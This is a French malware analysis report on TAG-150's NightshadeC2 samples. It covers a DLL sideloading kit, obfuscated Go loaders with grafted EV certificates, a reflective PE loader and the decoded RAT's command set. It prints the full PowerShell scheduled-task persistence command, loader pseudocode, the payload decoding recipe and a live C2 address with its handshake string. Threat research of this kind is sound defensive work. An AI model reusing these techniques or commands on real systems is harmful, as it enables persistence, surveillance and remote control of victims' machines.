TAG-150 / NightshadeC2 : loader Go, faux certificats EV et RAT extrait en clair
Catégorie : RAT
Analyste : Gordon PEIRS (@ozer0x777)
Famille : TAG-150 (alias GrayBravo), groupe actif depuis mars 2025, connu pour ses loaders/RAT maison (CastleLoader, CastleBot, CastleRAT, puis DinDoor/DenoRAT/NightshadeC2).
Méthode : reverse statique (Ghidra headless via PyGhidra, décompilation de binaires Go et C++ natifs), plus une vraie vérification cryptographique des signatures Authenticode embarquées (bibliothèque signify) et l'extraction puis le décodage à la main d'un payload chiffré embarqué. Les échantillons ne sont jamais exécutés.
Résumé
Sept échantillons taggés NightshadeC2 sur MalwareBazaar se répartissent en deux mécanismes de livraison distincts :
- Un kit de DLL sideloading classique : le vrai
consent.exede Windows 7 SP1 (signé Microsoft), simplement renommé, chargé à côté d'une faussewmsgapi.dllqui profite de l'ordre de recherche de DLL de Windows. Les exports de cette fausse DLL sont de purs proxys vers la vraie DLL système ; le fichier fait ~650 Mo apparents pour ~2 Mo de PE réel (bourrage). Le vraiDllMain, tracé jusqu'au bout, s'avère être une masse de bruit pur (§2) : dans ce build précis, cette DLL n'exécute aucune action malveillante au-delà du sideloading lui-même. - Des binaires Go compilés se faisant passer pour des installeurs légitimes (l'un se présente comme le « Bootstrapper DeepL SE » via le projet open source Zero Install), dont le code est massivement obfusqué : chaque fonction, et même les métadonnées de version du fichier, portent des noms générés automatiquement à partir de mots anglais/pseudo-scientifiques (
main.Asclepiadeousslackerism,main.Biblicismtonsillectome...).
Deux de ces binaires Go embarquent une chaîne complète de certificat de signature de code EV. L'une est au nom de la vraie société DeepL SE, l'autre au nom d'une société chinoise, Shenzhen Tuozhu Technology Co., Ltd. J'ai vérifié les deux signatures cryptographiquement (§4) et elles sont invalides : le condensé ne correspond pas au fichier. Il n'y a donc pas eu vol de clé privée. Les données de certificat ont été copiées depuis un autre fichier, réellement signé, et greffées sur le binaire malveillant sans le re-signer. Ça suffit à tromper quelqu'un qui jette un œil au nom de l'éditeur, pas une vraie vérification cryptographique.
Le code décompilé de ces binaires Go contient un chargeur de PE manuel en mémoire complet : déballage d'un blob embarqué, NtUnmapViewOfSection, allocation RWX, copie section par section, résolution manuelle des imports, saut vers le point d'entrée. C'est la technique classique de chargement réflexif, qui n'écrit jamais le stage final sur disque. Le blob embarqué (~247 Ko) est chiffré par une substitution simple combinée à une inversion complète du buffer, avec des paramètres qui varient un peu d'un build à l'autre. Je l'ai extrait et décodé sur les deux échantillons. Dans les deux cas, on obtient un vrai PE natif C++, quasiment identique, avec des imports réseau, Media Foundation (capture webcam et micro) et GDI+ (capture d'écran).
Sa décompilation montre toute la chaîne : une persistance par tâche planifiée (JAVA_V3, toutes les 2 minutes), un contrôle anti-analyse de la géolocalisation de la victime par l'API publique ip-api.com, un keylogger (hook clavier bas niveau global) et un canal C2 par socket TCP brut vers 85.208.84.115:7777. Ce canal est protégé par une poignée de main à chaîne magique, et les commandes reçues sont réparties entre 13 gestionnaires.
Les deux derniers échantillons du lot contiennent un bootstrap Desktop Duplication API bien réel : CreateDXGIFactory est résolu dynamiquement et réellement appelé, puis vient la séquence COM standard d'initialisation. Leurs métadonnées de version sortent du même générateur de « mots-salade » que les loaders Go, ce qui les rattache à l'outillage TAG-150. Mais j'ai cherché toutes les pistes plausibles (écriture de fichier, réseau, mémoire partagée, sauvegarde GDI+) sans trouver par où sortent les images capturées. Et leurs dates de compilation (2023-08-19, 2024-07-02) précèdent largement l'activité connue de TAG-150. Leur rôle exact dans la chaîne reste ouvert (§6ter).
Côté documentation publique, DenoRAT est un stage distinct, situé plus tôt dans la chaîne d'infection (DinDoor -> DenoRAT -> NightshadeC2). Ça explique que je n'en aie trouvé aucune trace sous ce tag MalwareBazaar (§7).
Tout est reproductible depuis
runbook.md. Les scripts sont danstools/.
1. Échantillons
Neuf échantillons taggés NightshadeC2 sur MalwareBazaar, sept récupérés et triés :
| SHA256 | Première soumission | Rôle identifié |
|---|---|---|
3790dde12ccad0fb75e206fa4a749e5f5aff4c978127704baa1622936e0b7f2d |
2025-10-06 | Kit sideloading complet (consent/ + wmsgapi.dll) |
974b61ab7618138ced49e72636b28f44937c442a41ed3300097ce2f4a5fe052f |
2025-10-06 | Kit sideloading complet (cons/ + wmsgapi.dll) |
74d2910c5fe85f426552f80c363285ac1134ceb2675494e9afa91de074ebfaa9 |
2025-10-06 | wmsgapi.dll seule (sans le binaire hôte) |
e7d7d8050ac4d2dfea9b02b789be1f73ea58557ade17823f6391ab419e0ca4d3 |
2025-10-07 | wmsgapi.dll (même famille, exports identiques) |
b79878b2ff4c527d34dd57160ee47db59e908f2ca06dbda114d18a0451ea9c28 |
2025-10-07 | wmsgapi.dll (même famille, exports identiques) |
050d061d5a8d1f2f7915362402f5f53223d364bc55530b5c23342a35c7188acf |
2025-10-11 | Loader Go, se présente comme « Bootstrapper for DeepL », certificat EV DeepL SE falsifié |
df4425b425d0e26b5985f013a4d0a4dfa82cd4b107a0ac6e24d6a6555e133e09 |
2025-10-11 | Loader Go, certificat EV Shenzhen Tuozhu falsifié |
04a1852aed5734d8aaf97730a7231272f103605a4f83ea8413abe6f8169aee4c |
2025-12-15 | EXE natif, module de capture d'écran (DXGI Desktop Duplication), compilé 2023-08-19 |
8940944e4abc600b283703876def0403160a5109abdbcb9e97c488dc3cc59b94 |
2025-12-15 | EXE natif, idem, compilé 2024-07-02 |
Les trois premiers sont livrés en double ZIP par MalwareBazaar (mot de passe infected, puis ZIP interne libre) ; les six suivants sont des PE directs.
2. Le kit de DLL sideloading
3790dde1... et 974b61ab... contiennent chacun un dossier (consent/, cons/) avec un exécutable de 112 Ko, daté du 2010-11-20 dans ses métadonnées internes. Ses informations de version PE l'identifient sans doute possible : FileDescription = "Consent UI for administrative applications", OriginalFilename = consent.exe, ProductVersion = 6.1.7601.17514, CompanyName = Microsoft Corporation. C'est le vrai consent.exe, celui de l'invite UAC de Windows 7 SP1, simplement renommé cnt.exe/cns.exe. Ce n'est pas une imitation.
Sa table d'imports référence WMsgAPI.dll, un vieux composant de Windows (Windows Messenger API) que la vraie consent.exe importe légitimement. Il suffit de déposer une fausse wmsgapi.dll dans le même dossier : l'ordre de recherche de DLL de Windows la charge à la place de la vraie. Le sideloading est confirmé.
La fausse wmsgapi.dll exporte exactement les 6 mêmes fonctions que la vraie DLL système (WmsgBroadcastMessage, WmsgBroadcastNotifyMessage, WmsgPostMessage, WmsgPostNotifyMessage, WmsgSendMessage, WmsgSendPSPMessage). Chacune ne fait qu'1 octet dans le désassemblage, et Ghidra les identifie comme des forwarders (WARNING: Control flow encountered bad instruction data, commentaire forwarder -> C:\Windows\System32\wmsgapi.WmsgBroadcastMessage). Ce sont de purs proxys vers la vraie DLL système, et l'application hôte continue de fonctionner normalement.
J'ai suivi le déclenchement jusqu'au bout : il n'y a rien. __DllMainCRTStartup (le CRT standard de Visual Studio 2010) appelle bien une fonction utilisateur, FUN_180020a00, passée comme vrai callback DllMain (fdwReason est testé explicitement : cmp dword [rsp + 0x2ac58], 1, avec un saut conditionnel selon DLL_PROCESS_ATTACH). C'est cette fonction qui explique une table d'imports anormalement riche pour un simple relais (USER32.dll/GDI32.dll/gdiplus.dll : GetDlgItemTextA, SetWindowLongA, GetDC, ScreenToClient, SetCapture, GetLayeredWindowAttributes, SetLayeredWindowAttributes...). Mais j'ai désassemblé son corps et je l'ai vérifié instruction par instruction (recherche de toutes les références sortantes, axff sous radare2). C'est une seule séquence linéaire de plusieurs milliers d'écritures directes sur la pile (mov byte/word/dword/qword [rsp+X], valeur). Ces emplacements ne sont jamais relus, il n'y a aucune branche conditionnelle après le test initial sur fdwReason, et la fonction ne contient qu'un appel : la routine standard de sondage de pile (__chkstk, nécessaire seulement à cause de l'énorme cadre de pile que ces écritures occupent). J'ai reconstruit par script une partie de ces écritures à partir du désassemblage complet : il n'en sort aucune structure cohérente, ni PE, ni chaîne lisible, ni table de configuration. C'est du bruit, inséré pour gonfler la taille et la complexité apparente de la fonction, dans le même esprit que le bourrage de 650 Mo en fin de fichier et les boucles factices des loaders Go (§3). Conclusion : wmsgapi.dll redirige fidèlement les 6 appels légitimes vers la vraie DLL système et ne fait rien d'autre dans ce build. Le rôle de ce kit de sideloading dans la chaîne d'infection reste donc à préciser. Soit c'est un artefact de leurre ou d'évasion sans charge active, soit c'est un composant qui attend un élément absent de ce lot d'échantillons (par exemple une mise à jour de wmsgapi.dll par un stage ultérieur que je n'ai pas).
Le fichier wmsgapi.dll annonce ~650-690 Mo sur disque, mais son vrai PE (sections .text/.rdata/.data/.pdata/.rsrc/.reloc) tient dans les deux premiers mégaoctets. Le reste est du bourrage ajouté après le PE, sans doute pour dépasser les limites d'upload ou de bac à sable. Le taux de compression ZIP le confirme : ~650 Mo compressés en ~1,7 Mo.
Le dossier consent//cons/ contient aussi des fichiers authentiques de Visual Studio 2010 et du .NET Framework 2.0 (c1.dll/c1xx.dll/c2.dll : le back-end du compilateur cl.exe ; atlprov.dll : ATL Attribute Provider ; disco.exe : un outil de découverte de web services .NET). J'ai croisé leurs tables d'imports : aucun de ces fichiers n'importe cnt.exe ou un autre fichier du dossier, et aucun n'est importé par eux. Ils ne jouent aucun rôle actif dans l'infection. Leur seule utilité plausible est de donner du volume et un air crédible au dossier déposé.
3. Loaders Go et obfuscation par génération de texte
050d061d... et df4425b4... sont des binaires Go 1.24-ish (chaînes runtime identiques à celles vues sur d'autres analyses de ce dépôt, ex. runtime: panic before malloc heap initialized). 050d061d... se présente, via ses métadonnées de version PE, comme :
FileDescription = Bootstrapper for DeepL
Comments = Downloads and runs Zero Install optionally showing a GUI.
CompanyName = zero-install
ProductName = DeepL
OriginalFilename = DeepLSetup.exe
Zero Install est un vrai outil open source de déploiement logiciel, et ce texte en est la description authentique. Il sert ici à habiller un binaire qui n'a rien à voir avec Zero Install ni avec DeepL (aucun import ni comportement typique de l'un ou de l'autre). Ça colle avec le vecteur ClickFix documenté publiquement pour TAG-150 : la victime croit installer un traducteur.
Le reste des échantillons EXE non-DLL de ce lot (04a1852a..., 8940944e..., b79878b2..., e7d7d805...) portent des métadonnées de version composées de suites de mots anglais/pseudo-scientifiques sans rapport entre eux, par exemple :
CompanyName = Gravidae venenately shame
FileDescription = Tacos fustiest niches
LegalTrademarks = Ministered sellably squatterism photoepinastic triphyletic
Dans les deux binaires Go, cette génération de texte touche aussi les noms de fonctions et de symboles : main.Asclepiadeousslackerism, main.Biblicismtonsillectome, main.Consequentlyscorch, main.Kaibarthaendosalpingitis... Dans 050d061d..., 1937 fonctions du seul paquet main sont renommées ainsi. Les chaînes du runtime Go (internal/poll.init.func2, runtime.godebugUpdate...) gardent en revanche leurs noms normaux : seul le code de l'auteur (paquet main) est passé dans ce générateur, pas la bibliothèque standard. On retrouve aussi des fragments du même générateur mélangés à la table de chaînes du runtime Go (wavefunction acetylenediureinmyasthenialapsesuperposition punnigramcollaborationism...), un bourrage qui noie les vraies chaînes pour gêner un tri rapide avec strings.
Chaque fonction obfusquée est en plus entourée de boucles factices très reconnaissables. Dans main.main, chaque opération réelle est encadrée par une boucle for i:=0; i<=0x22; i++ { appel_vers_fonction_vide() }. Ça fait plusieurs centaines d'appels sans effet répartis sur toute la fonction, probablement pour gonfler le nombre d'instructions et la complexité cyclomatique que voit un outil d'analyse automatique.
4. Certificats EV falsifiés : signature cryptographiquement invalide
050d061d... et df4425b4... sont les deux seuls échantillons du lot à contenir une table de certificat Authenticode (les quatre autres EXE n'en ont pas). J'ai extrait et lu la chaîne de certification (openssl pkcs7 -print_certs) :
050d061d...: chaîne de certification GlobalSign complète (racine ->GlobalSign GCC R45 EV CodeSigning CA 2020) se terminant sur un certificat feuille au nom de DeepL SE, avec des informations d'identité EV complètes (numéro d'immatriculation allemandHRB 104617, adresse à Cologne,emailAddress=eric.kruse@deepl.com).df4425b4...: même chaîne de certification racine GlobalSign, certificat feuille au nom de Shenzhen Tuozhu Technology Co., Ltd. (société chinoise, adresse à Shenzhen).
Des données de certificat ne prouvent rien à elles seules. J'ai donc fait une vraie vérification cryptographique sur les deux fichiers, avec la bibliothèque Python signify (une implémentation indépendante de la validation Authenticode) :
resultat: AuthenticodeVerificationResult.INVALID_DIGEST
detail: AuthenticodeInvalidDigestError('The expected hash does not match the digest in the indirect data.')
Les deux signatures sont invalides. Le condensé attendu, contenu dans la structure signée, ne correspond pas au contenu du fichier. Ça exclut une compromission de la clé privée de DeepL SE ou de Shenzhen Tuozhu : une signature produite avec la vraie clé privée du signataire et appliquée au fichier malveillant serait valide. Ici, la table de certificat (des données publiques, pas un secret) a été copiée depuis un autre fichier réellement signé par ces entités, puis greffée telle quelle dans un autre binaire, sans recalcul ni nouvelle signature. Windows rejetterait cette signature lors d'une vérification stricte. Pour l'attaquant, l'intérêt est de faire apparaître un nom d'éditeur à quelqu'un qui regarde vite les propriétés du fichier (par exemple l'onglet « Signatures numériques » de l'explorateur, sans cliquer sur « Détails »).
5. Chargeur de PE manuel en mémoire, confirmé par décompilation
Le main.main de 050d061d... (2747 octets décompilés) contient, une fois filtré le bruit des boucles factices (§3), une séquence complète et cohérente :
libname.str = "ntdll.dll";
mVar14 = syscall_LoadLibrary(libname);
procname.str = "NtUnmapViewOfSection";
mVar15 = syscall_GetProcAddress(mVar14.~r0, procname);
syscall_Syscall(mVar15.~r0, 2, 0, (uintptr)image_base, 0); // NtUnmapViewOfSection
p_Var7 = main_Consequentlyscorch(image_base, taille, 0x3000, 0x40); // VirtualAlloc RWX
...
main_Embouchuretorse(...); // copie brute (memcpy)
main_Physonectaepraisefully(...); // copie section par section (debug/pe.Section.Data())
main_Biblicismtonsillectome(...); // resolution manuelle de la table d'imports
...
syscall_Syscall((uintptr)entry_point, 0, 0, 0, 0); // saut vers le point d'entree charge
J'ai décompilé chaque fonction utilitaire une par une pour confirmer cette lecture :
main.Foliatureoosporic(base)retournebase + *(dword*)(base+0x3c): lecture classique dee_lfanew, pointeur vers les en-têtes NT du PE à charger.main.Consequentlyscorchconstruit un objetsyscall.LazyDLL{Name:"kernel32.dll"}puis unLazyProcde nom 12 caractères ("VirtualAlloc"), et l'appelle avec les 4 arguments reçus :VirtualAlloc(addr, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE).main.Embouchuretorse(src, dst, n): boucledst[i] = src[i]pouride 0 àn:memcpy.main.Physonectaepraisefully: itère sur une table de sections via l'équivalent Go dedebug/pe.Section.Data(), copiant chaque section à son adresse virtuelle correcte dans la région allouée.main.Kaibarthaendosalpingitis(dst, val, n):memset.main.Biblicismtonsillectome: itère une table d'entrées avec nom/thunk non nuls, appelantImageDistastefulosteoscope.GetType/.GetName(méthodes dedebug/pe.ImportDirectoryEntry) : résolution manuelle de la table d'imports du PE chargé, nécessaire puisque le chargeur Windows ne s'occupe pas d'un PE mappé à la main.
C'est un chargeur PE réflexif complet et idiomatique, construit sur le paquet standard debug/pe de Go plutôt que réécrit à la main : il parse les en-têtes, alloue une région RWX, copie chaque section, résout les imports et saute au point d'entrée. Ce stage final n'écrit rien sur disque.
5bis. Initialisation du payload natif : persistance, anti-analyse géographique, keylogger
Une fois le payload décodé et chargé (§5), sa fonction d'initialisation (FUN_1400010d0, appelée depuis __scrt_common_main_seh, donc bien le vrai point d'entrée du programme natif) enchaîne plusieurs actions avant toute connexion réseau :
- Vérification d'instance unique via un objet de synchronisation (
FUN_1400022e0) : si une instance tourne déjà, le programme s'arrête sans rien faire d'autre. - Persistance par tâche planifiée, construite via une commande PowerShell entièrement présente en clair dans le binaire :
powershell.exe $t_name = 'JAVA_V3'; $t_action = New-ScheduledTaskAction -Execute '%ws'; $interval = New-Timespan -Minutes 2; $t_triggerRepeat = New-ScheduledTaskTrigger -RepetitionInterval $interval -At 00:00 -Once; $t_triggerLogon = New-ScheduledTaskTrigger -AtLogon -User $env:USERNAME; ... Register-ScheduledTask -TaskName $t_name -RunLevel Highest -Action $t_action -Trigger $t_triggerLogon, $t_triggerRepeat -Settings $t_settings; Start-ScheduledTask -TaskName $t_name; exit;Tâche planifiée nomméeJAVA_V3(déguisement thématique Java), exécutée au niveau de privilège le plus élevé disponible, déclenchée à la fois à la connexion de l'utilisateur et toutes les 2 minutes. SetThreadExecutionState(ES_CONTINUOUS|ES_SYSTEM_REQUIRED|ES_DISPLAY_REQUIRED|ES_AWAYMODE_REQUIRED): empêche la machine de se mettre en veille, pour garder la connectivité C2 active en continu.- Vérification géographique/anti-analyse (fonction décrite ci-dessous) interrogeant l'API publique et légitime
www.ip-api.com(GET /line/?fields=147457en clair, port 80) pour obtenir le statut mobile/proxy/hébergement de l'adresse IP publique de la machine infectée. Si le résultat indique un statut incompatible (VPN/proxy/hébergeur), une chaîne(VPN)est utilisée en aval et un opcode0x5aest traité localement (comportement exact non décompilé plus loin) : ça colle avec une logique qui évite de poursuivre normalement l'infection sur une machine d'analyse hébergée dans le cloud ou derrière un VPN. - Collecte d'empreinte machine : nom d'utilisateur (
GetUserNameW), nom d'hôte et domaine DNS (GetComputerNameExWx2). - Démarrage du thread keylogger (
CreateThreadvers une fonction qui pose un hook clavier bas niveau global,SetWindowsHookExW(WH_KEYBOARD_LL, ...), puis boucle indéfiniment surGetMessageW/DispatchMessageW). Le fichier de sortie du keylogger est construit viaExpandEnvironmentStringsWsur un chemin%LOCALAPPDATA%\...\JavaFilee6ou...\PythonFilee6selon une variante de build (même thème de déguisement Java/Python que la tâche planifiée). OpenInputDesktop: ouvre un handle sur le bureau interactif de l'utilisateur, utilisé plus tard par le gestionnaire de commande d'opcode0x4e(§6bis), cohérent avec une fonctionnalité de bureau à distance ou de capture d'écran interactive.
6. Extraction et décodage du payload embarqué
Le PE chargé par ce mécanisme est un blob constant embarqué dans .rdata, ~247 Ko (_247434_uint8___Array_type dans les types Go récupérés par Ghidra). Je l'ai décodé avec la recette ci-dessous, trouvée en combinant la lecture du désassemblage et des essais (le sens exact de la transformation ne suivait pas littéralement l'ordre du pseudocode Ghidra) :
- Lire
0x3c68aoctets bruts commençant 10 octets avant l'adresseDAT_0058b1c2référencée par le désassemblage (Ghidra scinde artificiellement un unique buffer constant en « quelques octets écrits comme littéraux immédiats » + « pointeur vers le reste en.rdata», un artefact classique de sa lecture d'une copie vectorisée). - Transformation octet par octet : indice pair du buffer -0x46, indice impair +0x46 (modulo 256).
- Inversion de la totalité du buffer résultant.
16 premiers octets bruts : bf2eaf26af1ca72eaf27af25b923ac1f
apres etape 2 : texte ASCII lisible mais a l'envers
-> confirme le bon sens de la transformation (lettres minuscules a-z, tres improbable par hasard)
apres etape 3 (inversion complete) : 4d5a9000030000000400000...
M Z
Résultat : un vrai PE32+ x86-64 GUI, SHA256 e32b50f1b9ab8ccda64e4046780e002b350ece9c93ff4fa245fe0526ada14a1a, 6 sections (.text/.rdata/.data/.pdata/.fptable/.reloc), aucune section de ressources.
Ses imports : WS2_32.dll, WINHTTP.dll (réseau, probable canal C2), MFPlat.DLL/MF.dll/MFReadWrite.dll (Media Foundation, donc capture webcam et microphone), gdiplus.dll (capture d'écran), ole32.dll/OLEAUT32.dll/RPCRT4.dll (COM), SHELL32.dll/SHLWAPI.dll. Les chaînes du fichier contiennent des noms de types C++ (RTTI, lisibles une fois le même problème d'inversion réglé) : CPlayer, IMFASyncCallback, GdiPlus::Image, GdiPlus::Bitmap, GdiPlus::GdiplusBase. Réseau, capture média, capture d'écran, COM, binaire natif C++ : c'est le profil d'un RAT de surveillance complet, très probablement NightshadeC2 lui-même ou un de ses modules centraux.
L'appel WinHttpConnect ne donne ni URL ni domaine en clair : l'adresse lui est passée en paramètre à l'exécution, ce n'est pas une constante à cet endroit. Ce canal WinHTTP n'est d'ailleurs qu'un canal secondaire (§6bis). Le vrai canal C2 utilise des sockets bruts et une adresse codée en dur, trouvée séparément.
La même recette s'applique à un blob de taille presque identique (0x3c69f octets) trouvé dans df4425b4..., avec un ajustement : sur ce build, le décalage entre l'adresse DAT_xxxxxxxx et le vrai début du buffer est de 15 octets (pas 10), et la constante de la transformation par parité est 0x5e (pas 0x46). Ces deux paramètres changent donc d'un build à l'autre. Je les ai retrouvés en relisant les octets littéraux que Ghidra affiche pour ce build, au lieu de réutiliser ceux du premier. Une fois ajustée, l'extraction réussit. Le résultat (SHA256 90ff2daaa3b7748bf9a742da22766c321f4b1b0df9949c86e0e2ae10cda21238) ne diffère du payload extrait de 050d061d... que par 130 octets de texte de bourrage en toute fin de fichier (même thème « mots-salade »). Il embarque exactement le même C2 (85.208.84.115:7777) et la même tâche planifiée JAVA_V3. Les deux loaders Go, malgré des certificats falsifiés et des leurres différents, déploient donc la même infrastructure NightshadeC2.
6bis. C2 réel identifié : adresse, protocole, jeu de commandes
Je n'ai trouvé dans le payload extrait aucune trace d'AES : ni instructions AES-NI, ni table S-box Rijndael, ni constante SHA-256/ChaCha20 (recherche par empreinte binaire). Le déchiffrement AES-256-CBC documenté publiquement pour NightshadeC2 n'est donc probablement pas dans ce module, ou n'est pas nécessaire pour la configuration réseau.
En remontant les appelants de la fonction d'initialisation principale (celle qui configure la tâche planifiée JAVA_V3, lance la vérification géographique ip-api.com du §5bis et démarre le thread keylogger), on tombe sur une chaîne codée en dur, en clair dans .rdata :
s_85.208.84.115_14003a0e0 : "85.208.84.115"
Elle est référencée depuis la boucle principale de beacon (FUN_14000cb40). À chaque itération, l'adresse est copiée dans un buffer local puis passée à une fonction de connexion (FUN_140004720), qui appelle directement getaddrinfo/socket/connect (des imports de ws2_32.dll résolus par ordinal, pas par nom) :
local_50[...] = 6; // IPPROTO_TCP
getaddrinfo(hostname, "7777", ...); // port en clair, egalement en .rdata
socket = Ordinal_23(family, 1, 6); // SOCK_STREAM/IPPROTO_TCP
Ordinal_4(socket, addr, addrlen); // connect()
FUN_140029080(local_68, "RandOmKey322666B", 0x10); // 16 octets de poignee de main
FUN_14000b160(socket, local_68, 0x14); // envoi de la poignee de main (+4 octets de param)
FUN_14000af80(socket, local_68, 0x10); // relecture
memcmp(local_68, "RandOmKey322666B", 0x10); // le C2 doit renvoyer la meme chaine
Le C2 est 85.208.84.115:7777, en TCP brut (ni HTTP ni TLS), avec une poignée de main par chaîne magique RandOmKey322666B avant tout échange de commandes. Le canal WinHTTP vers www.ip-api.com (§5bis) ne sert qu'à géolocaliser la victime et à détecter un VPN. C'est un canal complètement séparé.
Une fois la poignée de main validée, FUN_14000cb40 entre dans une boucle infinie (Sleep(3000) entre deux tentatives de reconnexion). Elle lit un en-tête de commande de 32 octets, puis dispatche vers l'un des 13 gestionnaires selon un octet d'opcode. Chacun tourne en général dans son propre thread (CreateThread suivi d'un CloseHandle immédiat, sans attente) :
J'ai décompilé les 13 gestionnaires un par un pour savoir ce qu'ils font vraiment, au-delà de la structure de dispatch :
| Opcode | Fonction | Comportement confirmé par décompilation |
|---|---|---|
0x01 |
(directe) | Libère simplement le buffer reçu (free) : accusé de réception, pas d'action |
0x04 |
FUN_140002360 |
Shell interactif : ouvre une nouvelle connexion, lance C:\Windows\System32\cmd.exe avec stdin/stdout redirigés via pipes vers ce second socket |
0x08 |
FUN_140002360 |
Identique à 0x04, mais lance powershell.exe au lieu de cmd.exe |
0x30 |
FUN_1400048f0 |
Exfiltration de fichier : ouvre un fichier local (chemin fourni par le C2), envoie sa taille puis son contenu par blocs de 64 Ko sur une nouvelle connexion |
0x31 |
FUN_14000e920 |
Dépôt de fichier + exécution optionnelle : écrit sur disque les données reçues du C2 ; si un indicateur de type vaut 1, exécute directement le fichier (CreateProcessW) ; si 2, l'exécute via rundll32.exe "chemin",#<ordinal> (chargement de DLL) |
0x4e |
FUN_14000ee40 |
Enregistrement webcam/micro : enregistre vers %TEMP%\Vidosik.mp4 (nom du fichier temporaire confirmé en clair), puis envoie le fichier au C2 une fois l'enregistrement terminé, sur le modèle de 0x30 |
0x57 |
FUN_14000e750 |
Envoie un message à une fenêtre interne (SendMessageW) puis appelle une routine de nettoyage : ça colle avec un arrêt/fermeture d'une session interactive en cours |
0x59 |
FUN_14000c1b0 |
Relais réseau de type SOCKS5, confirmé. Ouvre une seconde connexion vers une cible fournie par le C2 (adresse IPv4 brute + port, ou résolution DNS via getaddrinfo selon un indicateur de type dans les données de commande), puis construit et renvoie littéralement une poignée de main de succès SOCKS5 (VER=5, REP=0, RSV=0, ATYP=1) sur la connexion C2 d'origine. Le socket de la cible est stocké dans une table de connexions actives protégée par section critique (jusqu'à 4096 entrées), pour un relais bidirectionnel ultérieur. Permet à l'opérateur de faire transiter du trafic arbitraire à travers la machine infectée. |
0x5a |
FUN_14000d6f0 + FUN_14000c080 |
Envoie un message de statut (opcode 0xf6) puis relance powershell.exe Start-Sleep -Seconds 3 avant ExitProcess : mécanisme d'arrêt/redémarrage différé, c'est le même chemin déclenché après une détection VPN/proxy positive (§5bis) |
0x80 |
FUN_140006760 |
Bureau à distance interactif : ouvre le bureau interactif (OpenInputDesktop/SetThreadDesktop), boucle sur EnumWindows toutes les 50 ms pour suivre l'état des fenêtres en continu ; démarre un second thread si un bit du paramètre de commande est positionné (mode non entièrement caractérisé) |
0x96 |
FUN_140008e50 |
Exfiltration du keylogger : construit le chemin keylog.txt (nom de fichier confirmé en clair) sous le même dossier que le journal du keylogger (§5bis), puis réutilise la fonction d'exfiltration de fichier (0x30) pour l'envoyer au C2 |
0xc9 |
FUN_140007e90 |
Diffusion d'écran en direct : ouvre une seconde connexion, capture l'écran en boucle toutes les 50 ms via GetDC/CreateCompatibleDC, envoie chaque image |
0xca |
FUN_14000fb20 |
Capture d'écran unique : construction d'un BITMAPINFO/HBITMAP via GDI, une seule capture (pas de boucle), à la différence de 0xc9 |
0xcd |
FUN_1400079b0 |
Bureau à distance interactif, confirmé. Même boucle de capture d'écran que 0xc9, mais lance en plus un thread séparé (FUN_1400074a0, via un wrapper CreateThread du CRT) qui reçoit des structures INPUT Win32 sur le socket et les injecte via SendInput : déplacements souris avec coordonnées normalisées aux dimensions d'écran, clics, frappes clavier arbitraires, et un cas spécial (type 0x97) qui pousse une chaîne reçue dans le presse-papiers (SetClipboardData) puis simule un Ctrl+V pour la coller instantanément. La différence avec 0xc9 n'est donc pas une question de qualité/résolution mais de canal de contrôle : 0xc9 est une diffusion en lecture seule, 0xcd ajoute le contrôle intégral clavier/souris/presse-papiers en parallèle. |
Le keylogger, confirmé à part : le thread lancé au tout début de l'initialisation, avant même la connexion au C2, pose un hook clavier bas niveau global (SetWindowsHookExW(WH_KEYBOARD_LL, ...)) et boucle indéfiniment sur GetMessageW/DispatchMessageW. Son fichier de sortie est construit avec ExpandEnvironmentStringsW sur un chemin %LOCALAPPDATA%\...\JavaFilee6 ou ...\PythonFilee6 selon la variante de build (DAT_14003bd80). C'est le même déguisement Java/Python que le nom de la tâche planifiée JAVA_V3.
6ter. Modules de capture DXGI : bootstrap réel confirmé, canal de sortie introuvable
04a1852a... et 8940944e... (§1) sont des binaires natifs C/C++ x86-64. Ils n'ont pas de lien de code direct avec le reste de la chaîne (aucune chaîne caractéristique en commun), mais la signature de leurs métadonnées de version PE les rattache au même outillage TAG-150 (§3). Leur vraie fonction « main » (FUN_1400035d0 dans 04a1852a...) dépasse le mégaoctet et Ghidra n'arrive pas à la décompiler en entier (Flow exceeded maximum allowable instructions). Contrairement à wmsgapi.dll (§2), ce n'est pas du bourrage inerte : j'y ai compté 4640 instructions CALL et 241 sauts conditionnels. Les fonctions auxiliaires qu'elle appelle (FUN_140001080, FUN_140001dc0, etc.) mélangent de l'arithmétique sans signification sur des constantes aléatoires et de vrais appels à l'API Windows, avec des arguments tantôt réels, tantôt factices (RemoveFontResourceW(L"CpH\\Reshift\\Hypobaropathy"), IIDFromString(L"DmDyGi", ...)). C'est un véritable obfuscateur de flot de contrôle, bien plus lourd à défaire que le bourrage de wmsgapi.dll.
Le bootstrap DXGI est réel et atteignable. Les imports statiques ne contiennent ni dxgi.dll ni aucune fonction Direct3D. Tout est résolu dynamiquement par LoadLibraryA/GetProcAddress, à travers une petite table de pointeurs de fonctions (adresses 0x1401bb0xx-0x1401bb3xx, remplie au démarrage). J'ai localisé la chaîne "CreateDXGIFactory" en mémoire (suivie de "dxgi.dll"), puis son unique site de résolution dans le corps de la fonction principale. Le pointeur obtenu est stocké puis appelé quelques instructions plus loin, et le HRESULT renvoyé est vérifié (CMP ...,0 ; JNZ <échec>). Ce n'est donc pas une résolution qui ne sert jamais. La suite (plusieurs appels de méthodes COM par vtable, CALL qword ptr [RAX+0x10]/[RAX+0x40]/[RAX+0x48]) correspond à l'enchaînement standard d'initialisation de la Desktop Duplication API (EnumAdapters → EnumOutputs → QueryInterface → DuplicateOutput).
Je n'ai trouvé aucun déclenchement externe. Sur une fenêtre de 3600 instructions autour de ce bootstrap (600 avant, 3000 après), il n'y a aucun appel à WaitForSingleObject, à ReadFile ou à une fonction de réception réseau ou pipe. Rien n'indique que le module attend un ordre avant de capturer. Le plus probable, sans que je l'aie confirmé, est que la capture démarre sans condition au lancement, avec un éventuel paramétrage par la ligne de commande (GetCommandLineW est repéré près du point d'entrée, ce qui colle avec la vérification mono-instance CreateMutexW observée juste avant).
Aucun canal de sortie pour les images capturées n'a pu être identifié, malgré une recherche systématique de toutes les pistes plausibles :
- WriteFile (importée statiquement) : appelée seulement 7 fois dans tout le binaire, toutes depuis le runtime C interne (0x1401b3xxx-0x1401b8xxx), jamais depuis la fonction principale.
- Réseau : aucun import statique (WS2_32/WINHTTP absents, déjà noté) ni aucune chaîne de nom de fonction réseau (send, recv, connect, WSASend) qui indiquerait une résolution dynamique du même type que CreateDXGIFactory.
- Mémoire partagée : aucune chaîne CreateFileMapping/MapViewOfFile/DuplicateHandle.
